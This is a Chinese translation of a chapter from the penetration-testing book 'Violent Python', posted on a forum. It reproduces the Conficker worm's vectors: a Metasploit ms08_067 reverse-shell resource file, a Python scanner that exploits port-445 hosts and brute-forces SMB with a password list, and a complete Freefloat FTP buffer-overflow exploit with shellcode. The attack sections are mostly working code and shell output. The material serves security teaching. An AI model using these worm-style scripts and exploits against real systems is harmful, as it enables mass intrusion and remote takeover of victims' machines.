《Violent Python》第二章Penetration Testing with Python(

连载介绍信息:http://zone.wooyun.org/content/23138
原作者：Chris Katsaropoulos
第一译者：@草帽小子-DJ
第二译者：crown丶prince

Conficker蠕虫，为什么努力总是好的
2008年下旬，计算机安全专家被一个有趣的改变游戏规则的蠕虫叫醒。Conficker和W32DownandUp蠕虫如此迅速的蔓延，很快就感染了200多个国家的5百多万台主机。在一些先进(数字签名，有效的加密荷载，另类的传播方案)的辅助攻击中，Conficker蠕虫非常用心，和1988年的Morris蠕虫有着相似的攻击向量。在接下来的章节中，我们将重现Conficker蠕虫的主要攻击向量。

在常规的感染的基础上，Conficker利用了两个单独的攻击向量。首先，利用Windows Server系统的一个0day漏洞。利用这个漏洞，蠕虫能够引起堆栈溢出从而能够执行Shellcode并下载一个副本给受到感染的主机。当这种攻击方法失败时，Conficker蠕虫尝试通过暴力破解默认的网络管理共享(ADMIN$)来获取受害人主机的管理权限。

密码攻击
在它的攻击中，Conficker蠕虫利用了一个超过250个常用密码的密码列表。Morris蠕虫曾使用的密码列表有432个密码。这两个非常成功的攻击有11个共同的密码。建立你自己的攻击列表时，是绝对值得包含这11个密码的。

aaa
academia
anything
coffee
computer
cookie
oracle
password
secret
super
Unknown

在几次大规模的攻击波中，黑客们发布了很多密码在网络上。而导致这些密码尝试的活动无疑是违法的。这些密码已经被安全专家研究证明是很有趣的。DARPA计算机网络快速追踪项目管理人， Peiter Zatko让整个房间的军队高层脸红，当他问到他们是否用两个大写字母，再加上两个特殊符号和两个数字组合来构建他们的密码时。此外，黑客组织LulzSec在2011年6月公布了26000个使用的密码和个人信息。在一次有组织的攻击中，这些密码被用来重复攻击同一个人的社交网站。然而，规模最大的攻击是一个新闻和八卦的博客网站泄漏了一百万的用户名和密码。

用Metasploit攻击Windows SMB服务
为了简化我们的攻击，我们将使用Metasploit框架，可以从下面的网站下载： http://metasploit.com/download/。Metasploit是开源的计算机安全项目，在过去的几年里正在得到快速的发展和普及并已经成为很受欢迎的渗透工具包。由传奇人物HD Moore倡导并开发的。Metasploit允许渗透测试人员利用标准化的脚本环境发起数千种不同的渗透测试。发行版包含了Conficker蠕虫利用的漏洞，HD Moore整合了这个渗透测试在Metasploit中---ms08-067_netapi。

利用Metasploit我们可以在攻击时进行交互，它也有能力读取批处理资源文件。Metasploit按顺序处理，以便执行批处理文件中的命令进行攻击。例如，如果我们想攻击的目标主机为192.168.13.37，利用ms80-067_netapi渗透测试，并返回给192.168.77.77主机上的7777端口的一个TCP Shell。

use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.37
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.77.77
set LPORT 7777
exploit –j –z

为了利用Metasploit的攻击，我们选择我们的Exploit(exploit/windows/smb/ms08_067_netapi)，然后设置目标为192.168.1.37。接下来我们指定攻击荷载为windows/meterpreter/reverse_tcp选择反向连接到我们的192.168.77.77的7777端口上，最后我们告诉Metasploit开始攻击系统。保存配置文件为conficker.rc，我们可以通过命令msfconsole -r conficker.rc来启动我们的攻击。这个命令会告诉Metasploit根据conficker.rc来启动攻击。如果成功，我们的攻击会返回一个命令行Shell来控制对方电脑。

attacker$ msfconsole -r conficker.rc
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.77.77:7777
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.37
[*] Meterpreter session 1 opened (192.168.77.77:7777 ->
    192.168.1.37:1087) at Fri Nov 11 15:35:05 -0700 2011
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > execute -i -f cmd.exe
Process 2024 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

用Python和Metasploit交互
太棒了！我们建立了一个配置文件，渗透了一个主机并获得了一个shell。重复这个过程对254个主机会花费大量的时间来修改配置文件，但是如果利用Python，我们可以生成一个快速的扫描脚本，扫描445端口打开的主机，然后利用Metasploit资源文件攻击有漏洞的主机。

首先，让我们从先前的端口扫描的例子中利用python-nmap模块。这里，函数findTgts()以潜在目标主机作为输入，返回所有开了TCP 445端口的主机。TCP 445端口是SMB协议的主要端口。只要主机的TCP 445端口是开放的，我们的脚本就能有效的攻击，这会消除主机对我们尝试连接的阻碍。函数通过迭代扫描所有的主机，如果函数发现主机开放了445端口，就将主机加入列表中。完成迭代后，函数会返回包含所有开放445端口主机的列表。

import nmap

def findTgts(subNet):
    nmScan = nmap.PortScanner()
    nmScan.scan(subNet, '445')
    tgtHosts = []
    for host in nmScan.all_hosts():
        if nmScan[host].has_tcp(445):
            state = nmScan[host]['tcp'][445]['state']
            if state == 'open':
                print '[+] Found Target Host: ' + host
                tgtHosts.append(host)
return tgtHosts

接下来，我们将对我们攻击的目标设置监听，监听器或者命令行与控制信道，一旦他们渗透成功我们就可以与远程目标主机进行交互。Metasploit提供了先进的动态的攻击荷载Meterpreter。Metasploit的Meterpreter运行在远程主机上，返回给我们命令行用来控制主机，提供了大量的控制和分析目标主机的能力。Meterpreter扩展了命令行的能力，包括数字取证，发送命令，远程路由，安装键盘记录器，下载密码或者Hash密码等等功能。

当Meterpreter反向连接到攻击者主机，并控制主机的Metasploit的模块叫做multi/handler。为了在我们的主机上设置multi/handler的监听器，我们首先要写下指令到Metasploit的资源配置文件中。注意，我们如何设置一个有效的TCP反弹连接的攻击荷载并标明我们本地主机将要接受连接的地址和端口号。此外，我们将设置一个全局配置DisablePayloadHandler来标识以后我们所有的主机都不必设置监听器，因为我们已经正在监听了。

def setupHandler(configFile, lhost, lport):
    configFile.write('use exploit/multi/handler\n')
    configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
    configFile.write('set LPORT ' + str(lport) + '\n')
    configFile.write('set LHOST ' + lhost + '\n')
    configFile.write('exploit -j -z\n')
configFile.write('setg DisablePayloadHandler 1\n')

最后，脚本已经准备好了攻击目标主机。这个函数将接收一个Metasploit配置文件，一个目标主机，一个本地地址和端口作为输入进行渗透测试。这个函数写入特定的exploit到配置文件中。它首先选择特殊的exploit---ms08-067_netapi，曾经被Conficker蠕虫利用的exploit攻击目标。此外，它还要选择Meterpreter攻击荷载需要的本地地址和本地端口。最后，它发送一个指令开始攻击目标主机，在后台执行工作(-j)，但并不马上打开交互(-z)，该脚本需要一些特定的选项，因为它将攻击多个主机，无法与所以的主机进行交互。

def confickerExploit(configFile, tgtHost, lhost, lport):
    configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
    configFile.write('set RHOST ' + str(tgtHost) + '\n')
    configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
    configFile.write('set LPORT ' + str(lport) + '\n')
    configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')

远程执行暴力破解
当攻击者成功的启动ms08-067_netapi的exploit攻击全世界的受害者的时候，管理员安装最新的安全补丁能轻松的组织攻击。因此，脚本将使用Conficker蠕虫使用的第二个攻击向量。它将通过用户名和密码的组合暴力破解SMB服务获得对主机的远程远程执行程序的权限。

函数smbBrute接受Metasploit配置文件，目标主机，一系列密码的文件，本地地址和本地端口作为输入，然后进行监听。它设置用户名为默认的Windows管理员administrator然后打开密码文件。对于文件的每一个密码，函数将建立一个Metasploit资源配置文件为了使用远程执行程序的exploit。如果一个用户名和密码组合成功了，exploit将会启动Meterpreter攻击荷载反向连接到本地的地址和端口。

def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):
    username = 'Administrator'
    pF = open(passwdFile, 'r')
    for password in pF.readlines():
        password = password.strip('\n').strip('\r')
        configFile.write('use exploit/windows/smb/psexec\n')
        configFile.write('set SMBUser ' + str(username) + '\n')
        configFile.write('set SMBPass ' + str(password) + '\n')
        configFile.write('set RHOST ' + str(tgtHost) + '\n')
        configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
        configFile.write('set LPORT ' + str(lport) + '\n')
        configFile.write('set LHOST ' + lhost + '\n')
        configFile.write('exploit -j -z\n')

将所有的放在一起建立我们自己的Conficker蠕虫
尝试把所有的功能放在一起，我们的脚本现在已经具备扫描目标，利用ms08-067_netapi漏洞，暴力破解SMB用户名密码并远程执行程序的能力了。最后，我们增加一些选项给脚本的main()函数把以前写的函数整合包装在一起调用。完整的代码如下。

# coding=UTF-8

def main():
    configFile = open('meta.rc', 'w')
    parser = optparse.OptionParser('[-] Usage%prog -H <RHOST展开> -l <LHOST> [-p <LPORT> -F <Password File>]')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify the target address[es]')
    parser.add_option('-p', dest='lport', type='string', help='specify the listen port')
    parser.add_option('-l', dest='lhost', type='string', help='specify the listen address')
    parser.add_option('-F', dest='passwdFile', type='string', help='password file for SMB brute force attempt')
    (options, args) = parser.parse_args()
    if (options.tgtHost == None) | (options.lhost == None):
        print parser.usage
        exit(0)
    lhost = options.lhost
    lport = options.lport
    if lport == None:
        lport = '1337'
    passwdFile = options.passwdFile
    tgtHosts = findTgts(options.tgtHost)
    setupHandler(configFile, lhost, lport)
    for tgtHost in tgtHosts:
        confickerExploit(configFile, tgtHost, lhost, lport)
        if passwdFile != None:
            smbBrute(configFile, tgtHost, passwdFile, lhost, lport)
    configFile.close()
    os.system('msfconsole -r meta.rc')
if __name__ == '__main__':
    main()

到目前为止我们利用的都是已知的方法攻击的。然而，没有已知的攻击方法的目标主机怎么办？你怎样建立你自己的0day攻击？在接下来的章节中，我们我们将建立我们自己的0day攻击。

attacker# python conficker.py -H 192.168.1.30-50 -l 192.168.1.3 -F
    passwords.txt
[+] Found Target Host: 192.168.1.35
[+] Found Target Host: 192.168.1.37
[+] Found Target Host: 192.168.1.42
[+] Found Target Host: 192.168.1.45
[+] Found Target Host: 192.168.1.47
<..SNIPPED..>
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.37
[*] Meterpreter session 1 opened (192.168.1.3:1337 ->
    192.168.1.37:1087) at Sat Jun 23 16:25:05 -0700 2012
<..SNIPPED..>
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.42
[*] Meterpreter session 1 opened (192.168.1.3:1337 ->
192.168.1.42:1094) at Sat Jun 23 15:25:09 -0700 2012

编写你自己的0day POC代码
上一节的Conficker蠕虫利用的是堆栈溢出漏洞。Metasploit框架包含了几百种独一无二的exploit，你可能碰到要你自己写的远程代码执行的exploit的代码。这一节我们将讲解怎样用Python简化这一过程。为了做到这些，我们要开始讲解缓冲区溢出的知识。

Morris蠕虫成功的部分原因是Finger服务的堆栈缓冲区溢出的漏洞利用。这类攻击的成功是因为程序验证用户输入的失败所导致。尽管Morris蠕虫在1988年利用了堆栈缓冲区溢出漏洞，直到1996年Elias Levy才发表了一篇学术论文为“Smashing the Stack for Fun and Profit”在Phrack杂志上。如果你对堆栈缓冲区溢出攻击的原理不熟悉的话，想了解更多，可以仔细阅读这篇文章。就我们的目的而言，我们会花时间讲解堆栈缓冲区溢出攻击的关键技术。

基于堆栈的缓冲区溢出攻击
对于堆栈缓冲区溢出来说，未经检查的用户数据覆盖了下一个指令EIP从而控制程序的流程。Exploit直接将EIP寄存器指向攻击者插入ShellCode的位置。一系列的机器代码ShellCode能允许exploit在目标系统里增加用户，连接攻击者或者下载一个独立的可执行文件。ShellCode有无尽的可能性存在，完全取决于内存空间的大小。

在存在很多种编写exploit方法的今天，基于堆栈缓冲区溢出的方法提供了原始的exploit向量。而且大量的exploit还在增加。2011年7月，我的一个朋友发布了一个针对脆弱的FTP服务器的exploit。虽然开发exploit似乎是一个很复杂的任务，但实际的攻击代码却少于80行(包含约30行的shell代码)。

添加攻击的关键元素
让我们开始构建我们的exploit的关键元素。首先我们设置我们的shellcode变量包含Metasploit框架为我们生成的十六进制编码的攻击荷载。接下来我们设置我们的溢出变量包含246个字母A的实例(16进制为\x41)。我们返回的地址变量指向一个kernel.dll地址，包含了一个直接跳到栈顶端的指令。我们填充包含一系列150个NOP指令的变量。这构建了我们的NOP滑铲。最后我们集合所有的变量组成一个变量，我们称为碰撞。

基于堆栈缓冲区溢出exploit的基本要素
溢出：用户的输入超过了预期在栈中分配的值。

返回地址：被用来直接跳转到栈顶端的4个字节的地址。在接下来的exploit中，我们用4个字节的地址指向kernel.dll的JMP ESP指令。

填充物：在shellcode之前的一系列的NOP(空指令)指令。允许攻击者猜测直接跳到的地址。如果攻击者跳到NOP滑铲的任何地方，它将直接滑到shellcode。

Shellcode：一小段汇编机器码。在下面的例子中，我们将利用Metasploit生成Shellcode代码。

shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4
\x5d\x33\xc9"
"\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f"
"\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"
"\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"
"\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"
"\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"
"\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
"\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"
"\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"
"\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"
"\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"
"\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"
"\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f"
"\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"
"\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"
"\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"
"\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
"\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"
"\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"
"\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"
"\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"
"\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"
"\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"
"\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"
"\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"
"\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"
"\xba\x1e\x53\x31")
overflow = "\x41" * 246
ret = struct.pack('<L', 0x7C874413)  #7C874413 JMP ESP kernel32.dll
padding = "\x90" * 150
crash = overflow + ret + padding + shellcode

发送exploit
使用伯克利套接字API，我们将创建一个到我们目标主机21端口的TCP连接。如果连接成功，我们将通过发送匿名的用户名和 密码的到了主机的认证。最后我们将发送FTP命令“RETR”紧接着是我们的碰撞变量。由于受影响的程序没有正确的过滤用户的输入，这将导致堆栈的缓冲区溢出覆盖了EIP寄存器允许我们的程序直接跳到并执行我们的Shellcode代码。

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    s.connect((target, 21))
except:
    print "[-] Connection to "+target+" failed!"
    sys.exit(0)
print("[*] Sending " + 'len(crash)' + " " + command +" byte crash...")
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS \r\n")
s.recv(1024)
s.send("RETR" +" " + crash + "\r\n")
time.sleep(4)

整合整个exploit脚本
把所有的代码整合在一起，我们有Craig Freyman发布的原始的exploit。

#!/usr/bin/Python
# coding=UTF-8

if len(sys.argv) < 2:
    print "[-]Usage:%s <target addr> <command>"% sys.argv[0] + "\r"
    print "[-]For example [filename.py 192.168.1.10 PWND] would do the trick."
    print "[-]Other options: AUTH, APPE, ALLO, ACCT"
    sys.exit(0)
target = sys.argv[1]
command = sys.argv[2]
if len(sys.argv) > 2:
    platform = sys.argv[2]
#./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikata_ga_nai -b "\x00\xff\x0d\x0a\x3d\x20"
#[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9"
"\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f"
"\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"
"\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"
"\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"
"\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"
"\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
"\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"
"\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"
"\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"
"\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"
"\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"
"\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f"
"\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"
"\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"
"\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"
"\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
"\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"
"\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"
"\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"
"\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"
"\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"
"\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"
"\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"
"\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"
"\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"
"\xba\x1e\x53\x31")
#7C874413 FFE4 JMP ESP kernel32.dll
ret = struct.pack('<L', 0x7C874413)
padding = "\x90" * 150
crash = "\x41" * 246 + ret + padding + shellcode
print "\
[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow\n\
[*] Author: Craig Freyman (@cd1zz)\n\
[*] Connecting to "+target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    s.connect((target, 21))
except:
    print("[-] Connection to "+target+" failed!")
    sys.exit(0)
print("[*] Sending " + 'len(crash)' + " " + command +" byte crash...")
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS \r\n")
s.recv(1024)
s.send(command +" " + crash + "\r\n")
time.sleep(4)

下载并复制一个FreeFloat FTP到Windows XP SP2或者Windows XP SP3的电脑上之后，我们可以测试 Craig Freyman的exploit。注意，他用的shellcode是绑定了TCP端口4444的脆弱的目标。所以我们可以运行我们的exploit脚本或者netcat连接到目标主机的4444端口。如果一切都成功了，现在我们已经获取了目标主机的命令行提示。

attacker$ python freefloat2-overflow.py 192.168.1.37 PWND
[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow
[*] Author: Craig Freyman (@cd1zz)
[*] Connecting to 192.168.1.37
[*] Sending 768 PWND byte crash...
attacker$ nc 192.168.1.37 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop\>

本章总结
恭喜你！在我们的渗透测试中我们可以使用我们自己编写的工具。我们通过编写我们自己的端口扫描器开始，然后审查SSH，FTP，SMB协议的攻击方法，最后我们用Python构建了我们自己的0day exploit。
我希望你在无穷无尽的渗透测试中自己编写代码。为了推进和提高我们的渗透测试，我们已经展示了Python脚本背后的基础知识。现在我们有一个更好的了解Python的机会，让我们研究一下怎样编写用于法庭调查取证的脚本。

译者的话：
《Violent Python》第二章就到此结束了，感谢乌云和乌云的小伙伴们的支持！欢迎大家提供建议。
同时，下周同一时间，请关注我们的《Violent Python》第三章！